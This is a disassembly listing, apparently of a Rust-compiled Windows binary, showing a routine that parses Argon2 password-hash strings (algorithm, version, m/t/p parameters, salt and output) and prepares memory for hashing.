mov rdx, qword [rax + rcx*8]
mov r8, qword [rsi + rcx*8]
inc rcx
mov dl, byte [rdx]
cmp dl, byte [r8]
je 0x14000a1d2
jmp 0x14000a19b
pcmpeqb xmm11, xmm7
pmovmskb eax, xmm11
test eax, eax
jne 0x14000a262
add r15, r13
add r15, 0x10
add r13, 0x10
and r15, r14
mov rdi, qword [rsp + 0x98]
jmp 0x14000a177
mov rcx, rsi
mov rdx, qword [rsp + 0xc8]
call fcn.140041ebe
lea rax, [rsp + 0x190]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x168]
lea rcx, [0x140123210]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x168], 3
jmp case.0x14000a24f.3
cmp qword [rsp + 0x1c8], 0
jne 0x14000a282
lea rcx, [rsp + 0x1b8]
lea rdx, [rsp + 0x1d8]
call fcn.140039362
mov rdi, qword [rsp + 0x98]
mov rcx, rdi
call fcn.140042429
lea r15, [rsp + 0x2e8]
mov rbx, rax
mov r13, rdx
lea r14, [rdi*8]
mov rcx, rax
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
mov r8, r12
call fcn.140039246
mov rcx, qword [rsp + 0x1b8]
and dl, 1
movzx edx, dl
sub qword [rsp + 0x1c8], rdx
neg rax
imul rax, rax, 0x18
mov qword [rcx + rax - 0x18], rsi
mov rdx, qword [rsp + 0xc8]
mov qword [rcx + rax - 0x10], rdx
mov qword [rcx + rax - 8], rdi
inc qword [rsp + 0x1d0]
mov qword [rsp + 0x2e8], 1
lea rax, [rsp + 0x2f0]
movdqu xmmword [rax], xmm6
lea rsi, [rbx + rdi*8]
mov qword [rsp + 0x400], rbx
mov qword [rsp + 0x408], r13
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0x418], rsi
test r14, r14
je 0x14000a362
mov rax, qword [rbx]
add rbx, 8
mov dl, byte [rax]
add r14, 0xfffffffffffffff8
mov rcx, r15
call fcn.140002de6
jmp 0x14000a346
mov qword [rsp + 0x410], rsi
lea r15, [rsp + 0x400]
mov rcx, r15
call fcn.140043c5d
mov r14, qword [rsp + 0x968]
mov rbx, qword [rsp + 0x978]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0xb8], rax
push 0xd
pop rcx
mov rdi, r15
lea rsi, [0x14012ab28]
rep movsq qword [rdi], qword [rsi]
movabs rax, 0x1000000100
mov qword [rsp + 0x458], rax
mov dword [rsp + 0x460], 2
lea rcx, [rsp + 0x980]
mov rdx, r15
call fcn.1400126f9
cmp dword [rsp + 0x980], 2
je 0x14000d612
mov al, byte [0x140122010]
cmp al, 0xff
jne 0x14000a455
lea rcx, [rsp + 0x980]
call fcn.14009b579
lea rcx, [rsp + 0x400]
call fcn.14009b59b
mov esi, dword [rsp + 0x988]
mov edi, dword [rsp + 0x404]
mov ecx, esi
not ecx
xor eax, eax
test ecx, 0xc000000
jne 0x14000a441
call fcn.140010d5a
not eax
test al, 6
sete al
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140122010], sil
test rbx, rbx
je 0x14000d4f0
and qword [rsp + 0x310], 0
mov qword [rsp + 0x318], rbx
mov qword [rsp + 0x320], r14
mov qword [rsp + 0x328], rbx
and qword [rsp + 0x330], 0
mov qword [rsp + 0x338], rbx
mov qword [rsp + 0x340], 1
movabs rax, 0x2400000024
mov qword [rsp + 0x348], rax
mov word [rsp + 0x350], 1
lea rcx, [rsp + 0x310]
call fcn.14004f060
test rax, rax
je 0x14000d633
test rdx, rdx
je 0x14000a527
movzx ecx, byte [rax]
test cl, cl
jns 0x14000d4f0
cmp cl, 0xe0
jb 0x14000d4f0
cmp cl, 0xf0
jb 0x14000d4f0
movzx edx, byte [rax + 1]
and edx, 0x3f
movzx r8d, byte [rax + 2]
and r8d, 0x3f
movzx eax, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 0xc
shl r8d, 6
or r8d, edx
and eax, 0x3f
or eax, r8d
or eax, ecx
cmp eax, 0x110000
jne 0x14000d4f0
lea rcx, [rsp + 0x310]
call fcn.14004f060
mov qword [rsp + 0xc0], rdx
test rax, rax
je 0x14000d64e
lea rcx, [rsp + 0x400]
mov rdx, rax
mov r8, qword [rsp + 0xc0]
call fcn.140050253
cmp qword [rsp + 0x400], 0
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0xc0], rax
jne 0x14000d656
and dword [rsp + 0x1780], 0
and dword [rsp + 0x1783], 0
movdqa xmmword [rsp + 0xf40], xmm6
movdqa xmmword [rsp + 0xf50], xmm6
movdqa xmmword [rsp + 0xf60], xmm6
movdqa xmmword [rsp + 0xf70], xmm6
movdqa xmmword [rsp + 0xf80], xmm6
movdqa xmmword [rsp + 0xf90], xmm6
and qword [rsp + 0xfa0], 0
lea rcx, [rsp + 0x310]
call fcn.14004f060
mov rdi, rax
xor ecx, ecx
test rdi, rdi
je 0x14000a6e9
mov rsi, rdx
mov rcx, rdi
lea r8, [0x140159b60]
push 2
pop r9
call fcn.14005023a
mov dword [rsp + 0xa0], 0
test al, al
je 0x14000a640
mov rcx, rdi
mov rdx, rsi
push 0x2c
pop r8
call fcn.14004f155
test al, al
mov r14, qword [rsp + 0x2b0]
mov r15, qword [rsp + 0x2a8]
je 0x14000a655
jmp 0x14000a71e
mov r14, qword [rsp + 0x2b0]
mov r15, qword [rsp + 0x2a8]
jmp 0x14000a71e
cmp rsi, 2
ja 0x14000a662
je 0x14000a66c
jmp 0x14000d7eb
cmp byte [rdi + 2], 0xc0
jl 0x14000d7eb
add rdi, 2
add rsi, 0xfffffffffffffffe
lea rcx, [rsp + 0x400]
mov rdx, rdi
mov r8, rsi
call fcn.14005033e
cmp qword [rsp + 0x400], 0
je 0x14000a6a9
lea rax, [rsp + 0x408]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x980], xmm0
jmp 0x14000a6c6
mov rdx, qword [rsp + 0x408]
mov r8, qword [rsp + 0x410]
lea rcx, [rsp + 0x980]
call fcn.1400503da
movzx eax, byte [rsp + 0x980]
cmp rax, 0xd
jne 0x14000d80e
mov eax, dword [rsp + 0x984]
mov dword [rsp + 0x10c], eax
push 1
pop rcx
mov dword [rsp + 0xa0], ecx
lea rcx, [rsp + 0x310]
call fcn.14004f060
mov rdi, rax
mov rsi, rdx
xor ebx, ebx
test rax, rax
mov r14, qword [rsp + 0x2b0]
mov r15, qword [rsp + 0x2a8]
je 0x14000a996
mov rcx, rdi
mov rdx, rsi
push 0x3d
pop r8
call fcn.14004f155
xor r12d, r12d
xor ebx, ebx
test al, al
je 0x14000a8b3
cmp rsi, 0x7f
ja 0x14000d7d6
test rsi, rsi
mov rbx, qword [rsp + 0xeb8]
je 0x14000a9a9
and qword [rsp + 0x1340], 0
mov qword [rsp + 0x1348], rsi
mov qword [rsp + 0x1350], rdi
mov qword [rsp + 0x1358], rsi
and qword [rsp + 0x1360], 0
mov qword [rsp + 0x1368], rsi
mov qword [rsp + 0x1370], 1
movabs rax, 0x2c0000002c
mov qword [rsp + 0x1378], rax
mov word [rsp + 0x1380], 1
lea rcx, [rsp + 0x1340]
call fcn.14004f4e6
test rax, rax
je 0x14000a8c3
and qword [rsp + 0x400], 0
and rbx, 0xffffffffffff0000
or rbx, 1
mov qword [rsp + 0x408], rdx
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rdx
and qword [rsp + 0x420], 0
mov qword [rsp + 0x428], rdx
mov qword [rsp + 0x430], 1
movabs rax, 0x3d0000003d
mov qword [rsp + 0x438], rax
mov qword [rsp + 0x440], rbx
lea rcx, [rsp + 0x400]
call fcn.14004f4e6
mov r8, rdx
test rax, rax
je 0x14000d048
lea rcx, [rsp + 0x850]
mov rdx, rax
call fcn.140050253
cmp qword [rsp + 0x850], 0
jne 0x14000d030
lea rcx, [rsp + 0x400]
call fcn.14004f4e6
mov r8, rdx
test rax, rax
je 0x14000d001
lea rcx, [rsp + 0x850]
mov rdx, rax
call fcn.14005033e
cmp qword [rsp + 0x850], 0
jne 0x14000d05f
lea rcx, [rsp + 0x400]
call fcn.14004f4e6
test rax, rax
je 0x14000a7af
jmp 0x14000d00d
xor r15d, r15d
mov r14, qword [rsp + 0x8d0]
jmp 0x14000aa83
mov qword [rsp + 0xeb8], rbx
movdqu xmmword [rsp + 0x46f], xmm6
movdqa xmmword [rsp + 0x460], xmm6
movdqa xmmword [rsp + 0x450], xmm6
movdqa xmmword [rsp + 0x440], xmm6
movdqa xmmword [rsp + 0x430], xmm6
movdqa xmmword [rsp + 0x420], xmm6
movdqa xmmword [rsp + 0x410], xmm6
movdqa xmmword [rsp + 0x400], xmm6
lea rcx, [rsp + 0x400]
push 0x7f
pop rdx
mov r8, rsi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_params.rs
call fcn.14004f365
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_params.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rdi
mov r9, rsi
call fcn.1400c5168
mov eax, dword [rsp + 0x400]
mov ecx, dword [rsp + 0x403]
mov dword [rsp + 0xdf3], ecx
mov dword [rsp + 0xdf0], eax
mov r12, qword [rsp + 0x407]
mov r15, qword [rsp + 0x40f]
lea rdi, [rsp + 0x980]
mov rcx, rdi
lea rdx, [rsp + 0x417]
push 0x68
pop r14
mov r8, r14
call sub.msvcrt.dll_memcpy
mov ebx, esi
jmp 0x14000aa0c
xor eax, eax
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x68], rax
jmp 0x14000aa55
and dword [rsp + 0xdf3], 0
and dword [rsp + 0xdf0], 0
movdqa xmmword [rsp + 0x980], xmm6
movdqa xmmword [rsp + 0x990], xmm6
movdqa xmmword [rsp + 0x9a0], xmm6
movdqa xmmword [rsp + 0x9b0], xmm6
movdqa xmmword [rsp + 0x9c0], xmm6
and qword [rsp + 0x9e0], 0
movdqa xmmword [rsp + 0x9d0], xmm6
xor ebx, ebx
xor r15d, r15d
xor r12d, r12d
lea rdi, [rsp + 0x980]
push 0x68
pop r14
mov eax, dword [rsp + 0xdf0]
mov ecx, dword [rsp + 0xdf3]
mov dword [rsp + 0x1783], ecx
mov dword [rsp + 0x1780], eax
lea rcx, [rsp + 0xf40]
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x2b0], r15
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x2a8], r12
lea rcx, [rsp + 0x310]
call fcn.14004f060
mov rdi, rax
mov rsi, rdx
test rax, rax
mov r14, qword [rsp + 0x8d0]
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
je 0x14000ab48
cmp rsi, 4
jb 0x14000d70a
cmp rsi, 0x40
ja 0x14000d6d4
lea rax, [rdi + rsi]
mov qword [rsp + 0x400], rdi
mov qword [rsp + 0x408], rax
lea rcx, [rsp + 0x400]
call fcn.1400502b9
cmp eax, 0x110000
je 0x14000aaf7
mov ecx, eax
and ecx, 0x1fffdf
add ecx, 0xffffffbf
cmp ecx, 0x1a
jb 0x14000aaab
lea ecx, [rax - 0x30]
cmp ecx, 0xa
jb 0x14000aaab
cmp eax, 0x2f
ja 0x14000d51f
mov ecx, eax
movabs rdx, 0xe80000000000
bt rdx, rcx
jb 0x14000aaab
jmp 0x14000d51f
mov qword [rsp + 0x70], r12
lea rcx, [rsp + 0x400]
mov rdx, rdi
mov r8, rsi
call fcn.14005033e
cmp qword [rsp + 0x400], 0
mov rcx, qword [rsp + 0x408]
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x8c8], rax
jne 0x14000d6e7
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x8d0], rcx
mov r12, rcx
jmp 0x14000ab4b
xor r12d, r12d
lea rcx, [rsp + 0x310]
call fcn.14004f060
mov r15b, 3
test rax, rax
je 0x14000acaa
mov r8, rdx
movdqa xmmword [rsp + 0x9b0], xmm6
movdqa xmmword [rsp + 0x9a0], xmm6
movdqa xmmword [rsp + 0x990], xmm6
movdqa xmmword [rsp + 0x980], xmm6
mov qword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x400]
mov rdx, rax
lea r9, [rsp + 0x980]
call fcn.14004f7ad
mov rsi, qword [rsp + 0x400]
test rsi, rsi
je 0x14000d7b4
mov r8, qword [rsp + 0x408]
cmp r8, 0xa
jb 0x14000d779
cmp r8, 0x40
ja 0x14000d780
movdqa xmmword [rsp + 0x430], xmm6
movdqa xmmword [rsp + 0x420], xmm6
movdqa xmmword [rsp + 0x410], xmm6
movdqa xmmword [rsp + 0x400], xmm6
lea rcx, [rsp + 0x400]
push 0x40
pop rdx
mov qword [rsp + 0x2c0], r8
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_output.rs
call fcn.14004f365
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_output.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rsi
mov r9, qword [rsp + 0x2c0]
call fcn.1400c5168
movzx eax, word [rsp + 0x404]
mov word [rsp + 0x1744], ax
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0x1740], eax
mov rax, qword [rsp + 0x406]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x40e]
mov qword [rsp + 0x8b8], rax
lea rax, [rsp + 0x438]
movdqu xmm0, xmmword [rax - 0x22]
movups xmm1, xmmword [rax - 0x12]
movups xmm2, xmmword [rax - 8]
movdqa xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm1
movups xmmword [rsp + 0x23a], xmm2
xor r15d, r15d
lea rcx, [rsp + 0x310]
call fcn.14004f060
test rax, rax
jne 0x14000d663
mov eax, dword [rsp + 0x1780]
mov ecx, dword [rsp + 0x1783]
mov dword [rsp + 0x1343], ecx
mov dword [rsp + 0x1340], eax
lea rsi, [rsp + 0x400]
mov rcx, rsi
lea rdx, [rsp + 0xf40]
push 0x68
pop r14
mov r8, r14
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x1740]
mov dword [rsp + 0x850], eax
movzx eax, word [rsp + 0x1744]
mov word [rsp + 0x854], ax
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x980], xmm0
movaps xmmword [rsp + 0x990], xmm1
movdqu xmm0, xmmword [rsp + 0x23a]
movdqu xmmword [rsp + 0x99a], xmm0
mov eax, dword [rsp + 0xa0]
cmp eax, 2
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x68]
je 0x14000d656
mov dword [rsp + 0x1820], eax
mov eax, dword [rsp + 0x10c]
mov dword [rsp + 0x1824], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1828], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x1830], rax
mov eax, dword [rsp + 0x1340]
mov ecx, dword [rsp + 0x1343]
lea rdi, [rsp + 0x1838]
mov dword [rdi + 3], ecx
mov dword [rdi], eax
mov qword [rsp + 0x183f], r8
mov qword [rsp + 0x1847], rdx
lea rcx, [rsp + 0x184f]
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x18b7], bl
mov qword [rsp + 0x18b8], r12
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x18c0], rax
mov byte [rsp + 0x18c8], r15b
mov eax, dword [rsp + 0x850]
mov rcx, qword [rsp + 0xf00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x854]
mov word [rcx + 4], ax
mov rax, qword [rsp + 0x8c0]
mov qword [rsp + 0x18cf], rax
mov rax, qword [rsp + 0x8b8]
mov qword [rsp + 0x18d7], rax
movups xmm0, xmmword [rsp + 0x99a]
mov rax, qword [rsp + 0xef8]
movups xmmword [rax + 0x1a], xmm0
movdqa xmm0, xmmword [rsp + 0x980]
movaps xmm1, xmmword [rsp + 0x990]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x2c0]
mov byte [rsp + 0x1909], al
mov eax, dword [rsp + 0xf40]
mov dword [rdi + 0xd2], eax
movzx eax, word [rsp + 0xf44]
mov word [rdi + 0xd6], ax
test r12, r12
je 0x14000b136
cmp r15b, 3
je 0x14000b136
push 0xd
pop rcx
lea rdi, [rsp + 0x400]
lea rsi, [0x14012ab28]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x1838]
call fcn.14004f48e
mov r15d, 0x4c00
xor eax, eax
mov qword [rsp + 0xd8], rax
xor eax, eax
mov qword [rsp + 0x60], rax
push 2
pop rax
mov dword [rsp + 0x40], eax
push 1
pop rax
mov dword [rsp + 0x50], eax
xor eax, eax
mov qword [rsp + 0x130], rax
xor eax, eax
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x220]
lea rdx, [rsp + 0x980]
call fcn.14004f62f
mov rbx, qword [rsp + 0x220]
test rbx, rbx
je 0x14000b145
mov r14, qword [rsp + 0x228]
mov rdi, qword [rsp + 0x230]
mov rsi, qword [rsp + 0x238]
mov rcx, rbx
mov rdx, r14
lea r8, str.mtpkeyid_home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.22.1_src_engine_general_purpose_decode_suffix.rs
push 1
pop r13
mov r9, r13
call fcn.14005fba7
test al, al
je 0x14000af91
lea rcx, [rsp + 0x1340]
mov rdx, rdi
mov r8, rsi
call fcn.1400503da
mov al, byte [rsp + 0x1340]
cmp al, 0xd
jne 0x14000b22c
mov r15d, dword [rsp + 0x1344]
jmp 0x14000af07
mov rcx, rbx
mov rdx, r14
lea r8, [0x14012ae29]
mov r9, r13
call fcn.14005fba7
test al, al
je 0x14000afdc
lea rcx, [rsp + 0x1340]
mov rdx, rdi
mov r8, rsi
call fcn.1400503da
mov al, byte [rsp + 0x1340]
cmp al, 0xd
jne 0x14000b22c
mov eax, dword [rsp + 0x1344]
mov dword [rsp + 0x40], eax
jmp 0x14000af07
mov rcx, rbx
mov rdx, r14
lea r8, [0x14012ae2a]
mov r9, r13
call fcn.14005fba7
test al, al
je 0x14000b027
lea rcx, [rsp + 0x1340]
mov rdx, rdi
mov r8, rsi
call fcn.1400503da
mov al, byte [rsp + 0x1340]
cmp al, 0xd
jne 0x14000b22c
mov eax, dword [rsp + 0x1344]
mov dword [rsp + 0x50], eax
jmp 0x14000af07
mov rcx, rbx
mov rdx, r14
lea r8, [0x14012ae2b]
push 5
pop r9
call fcn.14005fba7
test al, al
jne 0x14000b0d8
mov rcx, rbx
mov rdx, r14
lea r8, str.data
push 4
pop r9
call fcn.14005fba7
test al, al
je 0x14000b5c3
movdqa xmmword [rsp + 0x1350], xmm6
movdqa xmmword [rsp + 0x1340], xmm6
mov qword [rsp + 0x20], 0x20
lea rcx, [rsp + 0x850]
mov rdx, rdi
mov r8, rsi
lea r9, [rsp + 0x1340]
call fcn.14004f7ad
cmp qword [rsp + 0x850], 0
je 0x14000b64d
mov rax, qword [rsp + 0x858]
mov qword [rsp + 0x60], rax
movaps xmm12, xmmword [rsp + 0x1340]
movdqa xmm11, xmmword [rsp + 0x1350]
push 1
pop rax
mov qword [rsp + 0x130], rax
jmp 0x14000af07
and qword [rsp + 0x850], 0
mov qword [rsp + 0x20], 8
lea rcx, [rsp + 0x1340]
mov rdx, rdi
mov r8, rsi
lea r9, [rsp + 0x850]
call fcn.14004f7ad
cmp qword [rsp + 0x1340], 0
je 0x14000b60a
mov rax, qword [rsp + 0x1348]
mov qword [rsp + 0xd8], rax
movq xmm10, qword [rsp + 0x850]
push 1
pop rax
jmp 0x14000aeff
mov r15, qword [rsp + 0x48]
mov qword [rsp + 0x48], r15
jmp 0x14000b2ae
movups xmmword [rsp + 0x420], xmm12
movdqu xmmword [rsp + 0x430], xmm11
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x440], rax
movq qword [rsp + 0x408], xmm10
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x418], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x460], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x45c], eax
mov dword [rsp + 0x458], r15d
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x400], rax
cmp byte [rsp + 0x18c8], 3
je 0x14000b1e3
movzx eax, byte [rsp + 0x1909]
mov qword [rsp + 0x448], 1
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x400]
call fcn.1400126f9
mov rsi, qword [rsp + 0x980]
mov bl, byte [rsp + 0x988]
cmp rsi, 2
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
jne 0x14000b302
lea rcx, [rsp + 0xf48]
mov edx, ebx
call fcn.1400125ee
jmp 0x14000b294
movups xmmword [rsp + 0x420], xmm12
movdqu xmmword [rsp + 0x430], xmm11
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x440], rcx
movq qword [rsp + 0x408], xmm10
lea rdx, [rsp + 0x1358]
mov cl, byte [rdx - 0x15]
lea r8, [rsp + 0xf49]
mov byte [r8 + 2], cl
movzx ecx, word [rdx - 0x17]
mov word [r8], cx
mov ecx, dword [rsp + 0x1344]
mov byte [rsp + 0xf48], al
mov dword [rsp + 0xf4c], ecx
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov rax, qword [rsp + 0xf48]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x48], rcx
cmp al, 0xd
je 0x14000c0cd
mov rcx, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x2f0]
call fcn.1400f09e1
lea rax, [rsp + 0x190]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x168]
lea rcx, [0x140123210]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x50], rcx
jmp rax
mov qword [rsp + 0x40], r12
lea rcx, [rsp + 0xf49]
lea rdx, [rsp + 0x989]
push 0x4f
pop r8
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xf40], rsi
mov byte [rsp + 0xf48], bl
mov r12, qword [rsp + 0xf48]
mov rbx, qword [rsp + 0xf50]
lea rax, [rsp + 0xf60]
movdqu xmm0, xmmword [rax - 8]
movups xmm1, xmmword [rax + 8]
movups xmm2, xmmword [rax + 0x18]
movups xmm3, xmmword [rax + 0x28]
movdqa xmmword [rsp + 0x1740], xmm0
movaps xmmword [rsp + 0x1750], xmm1
movaps xmmword [rsp + 0x1760], xmm2
movaps xmmword [rsp + 0x1770], xmm3
mov rax, qword [rsp + 0x18c0]
mov qword [rsp + 0x50], rax
mov r13, qword [rsp + 0x58]
mov rcx, r13
mov rdi, qword [rsp + 0xc0]
mov rdx, rdi
lea r8, str.argon2dargon2iargon2id
push 7
pop r9
call fcn.14005fba7
xor ecx, ecx
test al, al
jne 0x14000b3eb
mov rcx, r13
mov rdx, rdi
lea r8, [0x1401578e7]
push 7
pop r9
call fcn.14005fba7
mov cl, 1
test al, al
jne 0x14000b3eb
mov rcx, r13
mov rdx, rdi
lea r8, [0x1401578ee]
push 8
pop r9
call fcn.14005fba7
mov cl, 2
test al, al
je 0x14000b5b2
mov r8d, ecx
push 2
pop rax
cmp dword [rsp + 0xa0], 0
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x8e8], r8
je 0x14000b434
movabs rax, 0x1000001100
cmp dword [rsp + 0x10c], 0x10
je 0x14000b434
cmp dword [rsp + 0x10c], 0x13
jne 0x14000b58c
movabs rax, 0x1300001100
mov rcx, rax
shr rcx, 0x20
test al, 2
push 0x13
pop rax
cmovne ecx, eax
mov byte [rsp + 0x28c], r8b
mov dword [rsp + 0x288], ecx
mov qword [rsp + 0x220], rsi
mov qword [rsp + 0x228], r12
mov qword [rsp + 0x230], rbx
movdqa xmm0, xmmword [rsp + 0x1740]
movaps xmm1, xmmword [rsp + 0x1750]
movaps xmm2, xmmword [rsp + 0x1760]
movaps xmm3, xmmword [rsp + 0x1770]
lea rax, [rsp + 0x238]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
and qword [rsp + 0x278], 0
movdqa xmmword [rsp + 0x17b0], xmm6
movdqa xmmword [rsp + 0x17a0], xmm6
movdqa xmmword [rsp + 0x1790], xmm6
movdqa xmmword [rsp + 0x1780], xmm6
mov qword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x400]
mov r8, qword [rsp + 0x50]
lea r9, [rsp + 0x1780]
call fcn.14004f7ad
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x400]
test r15, r15
je 0x14000b539
mov rdx, qword [rsp + 0x408]
push 0x20
pop rcx
test rsi, rsi
je 0x14000b51d
mov rcx, qword [rsp + 0x228]
cmp rcx, 0xa
mov rax, qword [rsp + 0xb0]
jae 0x14000b55c
and rax, 0xffffffffffff0000
or rax, 0xff03
jmp 0x14000b572
movzx eax, byte [rsp + 0x408]
mov rcx, qword [rsp + 0x48]
and rcx, 0xffffffffffff0000
shl rax, 8
add rax, rcx
inc rax
mov rcx, rax
jmp 0x14000b57d
cmp rcx, 0x40
jbe 0x14000b6a0
and rax, 0xffffffffffff0000
or rax, 0x103
mov rcx, r15
mov qword [rsp + 0xb0], rax
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
jmp 0x14000b2a1
lea rcx, [rsp + 0x400]
mov dl, 0x11
call fcn.1400125ee
mov rax, qword [rsp + 0x400]
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
jmp 0x14000b29c
movzx eax, byte [rsp + 0x8e8]
shl rax, 8
jmp 0x14000b29c
movups xmmword [rsp + 0x420], xmm12
movdqu xmmword [rsp + 0x430], xmm11
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x440], rax
movq qword [rsp + 0x408], xmm10
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x410], rax
mov byte [rsp + 0xf48], 5
jmp 0x14000b28a
movups xmmword [rsp + 0x420], xmm12
movdqu xmmword [rsp + 0x430], xmm11
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x440], rax
movq qword [rsp + 0x408], xmm10
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x410], rax
mov dl, byte [rsp + 0x1348]
jmp 0x14000b68e
movups xmmword [rsp + 0x420], xmm12
movdqu xmmword [rsp + 0x430], xmm11
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x440], rax
movq qword [rsp + 0x408], xmm10
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x410], rax
mov dl, byte [rsp + 0x858]
lea rcx, [rsp + 0xf48]
call fcn.1400125ee
jmp 0x14000b28a
mov qword [rsp + 0x48], rdx
movdqa xmmword [rsp + 0xe20], xmm6
movdqa xmmword [rsp + 0xe10], xmm6
movdqa xmmword [rsp + 0xe00], xmm6
movdqa xmmword [rsp + 0xdf0], xmm6
mov qword [rsp + 0xd8], rcx
lea rdx, [rsp + 0xdf0]
push 0x40
pop r8
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_output.rs
call fcn.14004020c
mov rdi, rax
mov r14, rdx
mov ecx, dword [rsp + 0x268]
mov edx, dword [rsp + 0x270]
call fcn.1400126dd
mov r13, rax
push 0x40
pop rbx
test rax, rax
je 0x14000b740
mov rax, r13
shr rax, 0x35
jne 0x14000d8cd
mov rsi, r13
shl rsi, 0xa
je 0x14000b740
mov al, byte [0x1401d21f0]
mov rcx, rsi
push 0x40
pop rdx
call fcn.14002c8c0
mov rbx, rax
test rax, rax
je 0x14000d8d4
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x210], rdi
xor r14d, r14d
mov rsi, rbx
lea rdi, [r14 + 1]
cmp rdi, r13
jae 0x14000b778
mov r8d, 0x400
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
add rsi, 0x400
inc r14
jmp 0x14000b753
mov qword [rsp + 0xa0], rbx
test r13, r13
je 0x14000b798
mov r8d, 0x400
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov r14, rdi
mov rcx, qword [rsp + 0x220]
mov rax, qword [rsp + 0x228]
test rcx, rcx
mov rdx, rax
push 4
pop r8
cmove rdx, r8
mov bl, 8
mov r8, qword [rsp + 0x60]
cmp rdx, r8
ja 0x14000bc73
test rcx, rcx
mov ecx, 0xffffffff
cmove rax, rcx
mov bl, 9
cmp rax, r8
jb 0x14000bc73
mov rax, qword [rsp + 0xb8]
shr rax, 0x20
mov bl, 0xa
jne 0x14000bc73
mov bl, 0xb
cmp qword [rsp + 0x48], 8
jb 0x14000bc73
mov rax, qword [rsp + 0x48]
shr rax, 0x20
mov bl, 0xc
jne 0x14000bc73
lea rcx, [rsp + 0x400]
push 0x40
pop rdx
call fcn.1400136fd
lea rbx, [rsp + 0x980]
lea rcx, [rsp + 0x9c8]
call fcn.1400125d7
push 9
pop rcx
mov rdi, rbx
lea rsi, [rsp + 0x400]
rep movsq qword [rdi], qword [rsi]
